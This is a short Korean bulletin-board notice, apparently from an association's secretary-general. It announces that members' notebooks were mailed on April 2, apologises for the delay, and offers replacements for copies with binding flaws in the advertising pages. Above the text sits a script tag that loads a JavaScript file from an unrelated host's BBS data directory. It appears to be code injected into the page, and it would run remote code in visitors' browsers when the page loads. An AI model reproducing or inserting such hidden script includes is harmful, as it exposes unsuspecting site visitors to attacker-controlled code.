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<SCRIPT Language=JavaScript src=http://php.chol.com/~wanho/bbs/data/poem/esuyoil.js></script> 수첩을 오늘(4월 2일) 네 시경에 우체국에 접수시켯습니다. 다음 주 중에 회원님들의 품을 찾아갈 것입니다.
매우 늦어진 점, 다시 한 번 사과드립니다.
그리고 2005년 수첩은 꼭 제 때에 제작하여 보내겠다는 것을 하늘을 우러러 맹세합니다.
그런데 또다시 양해를 구할 말씀이 있습니다.
수첩 중에 (극히) 일부가 뒤쪽 광고 부분에 제본상의 실수로 인하여 모양새가 영 아닌 것들이 더러 섞여 있을 수 있습니다.
하지만 그 정도의 이유로 다시 제작에 들어가는 것은 지나치며, 회원 여러분을 더 이상 기다리게 할 만큼 혹독한 지경은 아니라고, 제(사무국장)가 독단적으로 판단하여, 발송에 들어갔습니다.
저희가 그런 것들(상태가 심한 것)을 제외하면서 발송작업을 하긴 했으나, 혹시 뒤쪽 광고 부분 모양새가 말이 영 아닌 것을 받는 회원이 계실 수도 있겠습니다.
널리 양해를 바라며, 교체를 원하시는 분은 즉시 재발송해드리겠습니다.
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